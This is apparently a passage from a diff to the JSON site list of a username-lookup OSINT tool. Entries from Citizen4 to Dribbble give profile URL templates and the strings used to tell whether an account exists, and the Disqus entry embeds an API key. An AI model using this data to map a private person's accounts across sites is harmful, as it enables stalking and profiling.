}, + "Citizen4": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono" + ], + "presenseStrs": [ + "@soc.citizen4.eu" + ], + "url": "https://soc.citizen4.eu/profile/{username}/profile", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cloob": { + "tags": [ + "ir" + ], + "checkType": "status_code", + "alexaRank": 20571, + "urlMain": "https://www.cloob.com/", + "url": "https://www.cloob.com/name/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "CloudflareCommunity": { + "tags": [ + "forum", + "tech" + ], + "engine": "Discourse", + "alexaRank": 976, + "urlMain": "https://community.cloudflare.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Clozemaster": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Oh no! Player not found" + ], + "alexaRank": 72233, + "urlMain": "https://www.clozemaster.com", + "url": "https://www.clozemaster.com/players/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Club-comedy.clan.su": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "https://club-comedy.clan.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cmet4uk": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 225146, + "urlMain": "https://cmet4uk.ru", + "usernameClaimed": "vladnik", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codecademy": { + "tags": [ + "coding", + "education" + ], + "checkType": "message", + "absenceStrs": [ + "This profile could not be found" + ], + "presenseStrs": [ + "Codecademy profile page for" + ], + "alexaRank": 2566, + "urlMain": "https://www.codecademy.com/", + "url": "https://www.codecademy.com/profiles/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codecanyon": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 1470, + "urlMain": "https://codecanyon.net", + "url": "https://codecanyon.net/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codechef": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 7932, + "urlMain": "https://www.codechef.com/", + "url": "https://www.codechef.com/users/{username}", + "errorUrl": "https://www.codechef.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codementor": { + "tags": [ + "coding", + "in" + ], + "checkType": "message", + "presenseStrs": [ + "
    " + ], + "absenceStrs": [ + "Adapted from" + ], + "alexaRank": 7204, + "urlMain": "https://www.codementor.io/", + "url": "https://www.codementor.io/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codepen": { + "tags": [ + "coding", + "in" + ], + "errors": { + "Checking your browser before accessing": "Autoredirect detected" + }, + "checkType": "message", + "absenceStrs": [ + "I'm afraid you've found a page that doesn't exist on CodePen" + ], + "alexaRank": 1967, + "urlMain": "https://codepen.io/", + "url": "https://codepen.io/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Coderwall": { + "tags": [ + "coding", + "in" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "404! Our feels when that url is used" + ], + "alexaRank": 17775, + "urlMain": "https://coderwall.com/", + "url": "https://coderwall.com/{username}", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codewars": { + "tags": [ + "coding", + "us" + ], + "checkType": "status_code", + "alexaRank": 20867, + "urlMain": "https://www.codewars.com", + "url": "https://www.codewars.com/users/{username}", + "usernameClaimed": "example", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Comedy": { + "tags": [ + "gb", + "in", + "movies", + "pk", + "us" + ], + "checkType": "status_code", + "alexaRank": 131071, + "urlMain": "https://www.comedy.co.uk", + "url": "https://www.comedy.co.uk/profile/{username}/", + "usernameClaimed": "joel-sandbach", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ComicvineGamespot": { + "tags": [ + "gaming", + "us" + ], + "checkType": "status_code", + "alexaRank": 875, + "urlMain": "https://comicvine.gamespot.com/", + "url": "https://comicvine.gamespot.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Computerbase": { + "disabled": true, + "tags": [ + "de" + ], + "checkType": "message", + "absenceStrs": [ + "Das gew\u00fcnschte Mitglied kann nicht gefunden werden" + ], + "alexaRank": 8982, + "urlMain": "https://www.computerbase.de", + "url": "https://www.computerbase.de/forum/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Connosr": { + "tags": [ + "gb" + ], + "checkType": "status_code", + "alexaRank": 1058804, + "urlMain": "https://www.connosr.com/", + "url": "https://www.connosr.com/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cont": { + "tags": [ + "be", + "ru" + ], + "checkType": "status_code", + "alexaRank": 18112, + "urlMain": "https://cont.ws", + "url": "https://cont.ws/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Contently": { + "tags": [ + "freelance", + "in" + ], + "checkType": "message", + "absenceStrs": [ + "Request A Meeting
    " + ], + "presenseStrs": [ + "

    \nPROJECTS" + ], + "alexaRank": 11587, + "urlMain": "https://contently.com/", + "url": "https://{username}.contently.com/", + "usernameClaimed": "jordanteicher", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Coolminiornot": { + "urlSubpath": "/forums", + "tags": [ + "forum", + "sg", + "us" + ], + "engine": "vBulletin", + "alexaRank": 373915, + "urlMain": "http://www.coolminiornot.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Coroflot": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 33281, + "urlMain": "https://coroflot.com/", + "url": "https://www.coroflot.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Coub": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 6885, + "urlMain": "https://coub.com/", + "url": "https://coub.com/{username}", + "usernameClaimed": "meteoralp", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Countable": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 9282301, + "urlMain": "https://www.countable.us/", + "url": "https://www.countable.us/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cqham": { + "tags": [ + "ru", + "tech" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 187054, + "urlMain": "http://www.cqham.ru", + "url": "http://www.cqham.ru/forum/member.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cracked": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 4090, + "urlMain": "https://www.cracked.com/", + "url": "https://www.cracked.com/members/{username}/", + "errorUrl": "https://www.cracked.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "CreativeMarket": { + "tags": [ + "art", + "stock" + ], + "errors": { + "/cdn-cgi/scripts/hcaptcha.challenge.js": "Captcha detected" + }, + "checkType": "message", + "absenceStrs": [ + "Whoomp, there it isn't...", + "It looks like the page you\u2019re looking for is no longer available. " + ], + "presenseStrs": [ + "Likes" + ], + "alexaRank": 3054, + "urlMain": "https://creativemarket.com/", + "url": "https://creativemarket.com/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Crevado": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 170085, + "urlMain": "https://crevado.com/", + "url": "https://{username}.crevado.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Crossfire": { + "disabled": true, + "tags": [ + "gaming", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430" + ], + "alexaRank": 49, + "urlMain": "https://cfire.mail.ru", + "url": "https://cfire.mail.ru/forums/member.php?username={username}", + "usernameClaimed": "wizard", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Crunchyroll": { + "disabled": true, + "tags": [ + "forum", + "movies", + "us" + ], + "headers": { + "'User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0" + }, + "checkType": "status_code", + "alexaRank": 364, + "urlMain": "https://www.crunchyroll.com/", + "url": "https://www.crunchyroll.com/user/{username}", + "usernameClaimed": "adan", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CryptomatorForum": { + "checkType": "status_code", + "url": "https://community.cryptomator.org/u/{username}", + "usernameClaimed": "michael", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cssomsk": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://www.cssomsk.ru", + "usernameClaimed": "spacebody", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7312355 + }, + "Cults3d": { + "checkType": "message", + "absenceStrs": [ + "Oh dear, this page is not working!" + ], + "presenseStrs": [ + "All the 3D models of" + ], + "url": "https://cults3d.com/en/users/{username}/creations", + "usernameClaimed": "uheara_konen", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cyberclock": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "urlMain": "https://cyberclock.cc", + "url": "https://cyberclock.cc/forum/member.php?username={username}", + "usernameClaimed": "Lich", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cydak": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "urlMain": "http://www.cydak.ru", + "url": "http://www.cydak.ru/forum/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "Henders", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cytoid.io": { + "checkType": "message", + "absenceStrs": [ + "Profile not found" + ], + "presenseStrs": [ + "Joined" + ], + "url": "https://cytoid.io/profile/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "d3.ru": { + "checkType": "message", + "absenceStrs": [ + "d3.ru \u2014 \u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e!" + ], + "presenseStrs": [ + "/user/" + ], + "url": "https://d3.ru/user/{username}/posts", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dangerousthings.com": { + "checkType": "status_code", + "url": "https://forum.dangerousthings.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Demotywatory": { + "checkType": "message", + "absenceStrs": [ + "U\u017cytkownik o podanym pseudonimie nie istnieje." + ], + "presenseStrs": [ + "Z nami od:" + ], + "url": "https://demotywatory.pl/user/{username}", + "usernameClaimed": "uheara_konen", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DEV Community": { + "tags": [ + "coding" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "status_code", + "alexaRank": 4668, + "urlMain": "https://dev.to/", + "url": "https://dev.to/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dojoverse": { + "checkType": "message", + "absenceStrs": [ + "Looks like you got lost!." + ], + "presenseStrs": [ + "Joined" + ], + "url": "https://dojoverse.com/members/{username}/", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DSLReports": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Kudos Received" + ], + "absenceStrs": [ + "alert:" + ], + "alexaRank": 42786, + "urlMain": "https://www.dslreports.com", + "url": "https://www.dslreports.com/profile/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DTF": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430 " + ], + "alexaRank": 16528, + "urlMain": "https://dtf.ru", + "url": "https://dtf.ru/search/v2/subsite/relevant?query={username}&strict=1", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DailyMotion": { + "tags": [ + "video" + ], + "checkType": "message", + "presenseStrs": [ + " style=", + "", + "og:title", + "Twitter", + "og:site_name" + ], + "alexaRank": 263, + "urlMain": "https://www.dailymotion.com", + "url": "https://www.dailymotion.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "rstnodkwzr", + "absenceStrs": [ + "Page not found", + "profile", + "error404", + "bodyall", + "No matches found" + ], + "headers": { + "User-Agent": "" + } + }, + "Dalnoboi": { + "tags": [ + "ru" + ], + "errors": { + "\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0447\u0443\u0442\u044c \u043f\u043e\u0437\u0436\u0435.": "Rate limit" + }, + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1020831, + "urlMain": "https://www.dalnoboi.ru", + "url": "https://www.dalnoboi.ru/phpBB3/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "stommof", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Damochka": { + "disabled": true, + "tags": [ + "kz", + "ru" + ], + "checkType": "status_code", + "alexaRank": 572128, + "urlMain": "https://www.damochka.ru", + "url": "https://www.damochka.ru/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Darkside": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 8725117, + "urlMain": "https://darkside.black", + "usernameClaimed": "soldier", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Dasauge": { + "tags": [ + "de", + "pk" + ], + "checkType": "status_code", + "alexaRank": 1099149, + "urlMain": "https://dasauge.co.uk", + "url": "https://dasauge.co.uk/-{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dating.Ru": { + "tags": [ + "dating", + "ru", + "us" + ], + "checkType": "status_code", + "alexaRank": 74812, + "urlMain": "http://dating.ru", + "url": "http://dating.ru/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Datpiff": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 38454, + "urlMain": "https://www.datpiff.com", + "url": "https://www.datpiff.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Davesgarden": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 45380, + "urlMain": "https://davesgarden.com", + "url": "https://davesgarden.com/members/{username}/", + "usernameClaimed": "Gail", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dcpg": { + "tags": [ + "ru", + "ua" + ], + "checkType": "response_url", + "alexaRank": 905001, + "urlMain": "https://dcpg.ru/", + "url": "https://dcpg.ru/users/{username}/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ddo": { + "urlSubpath": "/forums", + "disabled": true, + "tags": [ + "forum", + "us" + ], + "engine": "vBulletin", + "alexaRank": 105195, + "urlMain": "https://www.ddo.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DefenceForumIndia": { + "tags": [ + "forum", + "in", + "military" + ], + "engine": "XenForo", + "alexaRank": 445137, + "urlMain": "https://defenceforumindia.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "DefensiveCarry": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 309817, + "urlMain": "https://www.defensivecarry.com", + "url": "https://www.defensivecarry.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Demonscity": { + "tags": [ + "ru" + ], + "checkType": "message", + "errors": { + "http://img.combats.com/errs/503.png": "Maintenance" + }, + "absenceStrs": [ + "\u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 90420, + "urlMain": "http://demonscity.combats.com", + "url": "http://demonscity.combats.com/inf.pl?{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Derevnyaonline": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430." + ], + "alexaRank": 2116602, + "urlMain": "https://derevnyaonline.ru", + "url": "https://derevnyaonline.ru/user/{username}", + "usernameClaimed": "coolkrictina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Designspiration": { + "checkType": "status_code", + "urlMain": "https://www.designspiration.net/", + "url": "https://www.designspiration.net/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 461605 + }, + "Destructoid": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Error in query" + ], + "alexaRank": 25063, + "urlMain": "https://www.destructoid.com", + "url": "https://www.destructoid.com/?name={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Desu": { + "tags": [ + "by", + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 301233, + "urlMain": "https://desu.me", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Detstrana": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 342949, + "urlMain": "https://detstrana.ru", + "url": "https://detstrana.ru/user/{username}/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DeviantART": { + "tags": [ + "art", + "photo" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "status_code", + "alexaRank": 508, + "urlMain": "https://deviantart.com", + "url": "https://{username}.deviantart.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Devtribe": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 1454122, + "urlMain": "https://devtribe.ru", + "url": "https://devtribe.ru/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Diary.ru": { + "tags": [ + "blog", + "nl", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + " — @\u0434\u043d\u0435\u0432\u043d\u0438\u043a\u0438: \u0430\u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u0435\u0442\u044c" + ], + "alexaRank": 11301, + "urlMain": "https://diary.ru", + "url": "https://{username}.diary.ru/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DigitalOcean": { + "tags": [ + "forum", + "in", + "tech" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 2418, + "urlMain": "https://www.digitalocean.com/", + "url": "https://www.digitalocean.com/community/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DigitalPoint": { + "tags": [ + "forum" + ], + "engine": "XenForo", + "alexaRank": 17020, + "urlMain": "https://www.digitalpoint.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Digitalspy": { + "disabled": true, + "tags": [ + "forum", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 5608, + "urlMain": "https://forums.digitalspy.com/", + "url": "https://forums.digitalspy.com/profile/discussions/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Diigo": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "{}" + ], + "alexaRank": 8076, + "urlMain": "https://www.diigo.com/", + "url": "https://www.diigo.com/interact_api/load_profile_info?name={username}", + "usernameClaimed": "markmark", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dinsk": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "urlMain": "https://dinsk.su", + "url": "https://dinsk.su/user/{username}", + "usernameClaimed": "dinsk", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Discogs": { + "tags": [ + "music", + "us" + ], + "checkType": "status_code", + "alexaRank": 1040, + "urlMain": "https://www.discogs.com/", + "url": "https://www.discogs.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DiscoursePi-hole": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 86634, + "urlMain": "https://discourse.pi-hole.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Discuss.Elastic.co": { + "tags": [ + "forum", + "tech", + "us" + ], + "engine": "Discourse", + "alexaRank": 5765, + "urlMain": "https://discuss.elastic.co/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DiscussPython": { + "tags": [ + "coding", + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 1051, + "urlMain": "https://discuss.python.org/", + "usernameClaimed": "dustin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Discussfastpitch": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 1042099, + "urlMain": "https://www.discussfastpitch.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Disqus": { + "tags": [ + "discussion" + ], + "errors": { + "Invalid API key": "New API key needed" + }, + "regexCheck": "^[^/]+$", + "urlProbe": "https://disqus.com/api/3.0/users/details?user=username%3A{username}&attach=userFlaggedUser&api_key=E8Uh5l5fHZ6gD8U3KycjAIAk46f68Zw7C6eW8WSjZvCLXebZ7p0r1yrYDrLilk2F", + "checkType": "status_code", + "presenseStrs": [ + "https://disqus.com/api/users/" + ], + "absenceStrs": [ + "User matching query does not exist" + ], + "alexaRank": 850, + "urlMain": "https://disqus.com/", + "url": "https://disqus.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dissenter": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 56922, + "urlMain": "https://dissenter.com/", + "url": "https://dissenter.com/user/{username}", + "usernameClaimed": "meatballs", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Diveforum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435" + ], + "alexaRank": 4405379, + "urlMain": "https://diveforum.spb.ru/", + "url": "https://diveforum.spb.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Djangoproject.co": { + "tags": [ + "coding", + "forum" + ], + "engine": "Discourse", + "urlMain": "https://forum.djangoproject.co", + "usernameClaimed": "mikhail349", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dmyt": { + "tags": [ + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 630908, + "urlMain": "https://dmyt.ru", + "url": "https://dmyt.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "tim308", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Dobroeslovo": { + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 3587216, + "urlMain": "http://www.dobroeslovo.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Docker Hub": { + "tags": [ + "coding" + ], + "urlProbe": "https://hub.docker.com/v2/users/{username}/", + "checkType": "status_code", + "alexaRank": 2797, + "urlMain": "https://hub.docker.com/", + "url": "https://hub.docker.com/u/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dogster": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 3353807, + "urlMain": "http://dogster.ru/", + "url": "http://dogster.ru/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "domestika.org": { + "tags": [ + "education" + ], + "checkType": "status_code", + "usernameClaimed": "zenzuke", + "usernameUnclaimed": "noonewouldeverusethis7", + "urlMain": "https://www.domestika.org", + "url": "https://www.domestika.org/{username}" + }, + "DonatePay": { + "tags": [ + "finance", + "ru" + ], + "checkType": "response_url", + "alexaRank": 153959, + "urlMain": "https://donatepay.ru/", + "url": "https://donatepay.ru/don/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DonationsAlerts": { + "tags": [ + "finance", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "/img/404.svg" + ], + "alexaRank": 19188, + "urlMain": "https://www.donationalerts.com/", + "url": "https://www.donationalerts.com/r/{username}", + "usernameClaimed": "r3dhunt", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dota2": { + "disabled": true, + "tags": [ + "gaming", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442", + "\u041f\u043e\u0438\u0441\u043a \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d", + "

    \u041f\u043e\u0438\u0441\u043a \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d

    " + ], + "alexaRank": 54365, + "urlMain": "https://dota2.ru/", + "url": "https://dota2.ru/forum/search?type=user&keywords={username}&sort_by=username", + "usernameClaimed": "farts", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dou": { + "tags": [ + "ua" + ], + "checkType": "status_code", + "alexaRank": 35065, + "urlMain": "https://dou.ua/", + "url": "https://dou.ua/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dreamstime": { + "tags": [ + "art", + "photo", + "stock" + ], + "checkType": "status_code", + "alexaRank": 670, + "urlMain": "https://www.dreamstime.com", + "url": "https://www.dreamstime.com/{username}_info", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dreamwidth": { + "disabled": true, + "tags": [ + "in", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "isn't currently registered" + ], + "alexaRank": 24540, + "urlMain": "https://dreamwidth.org/profile", + "url": "https://{username}.dreamwidth.org/profile", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dribbble": { + "tags": [ + "business", + "in" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "message", + "absenceStrs": [ + "Whoops, that page is gone." + ], + "alexaRank": 1517, + "urlMain": "https://dribbble.com/", + "url": "https://dribbble.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": 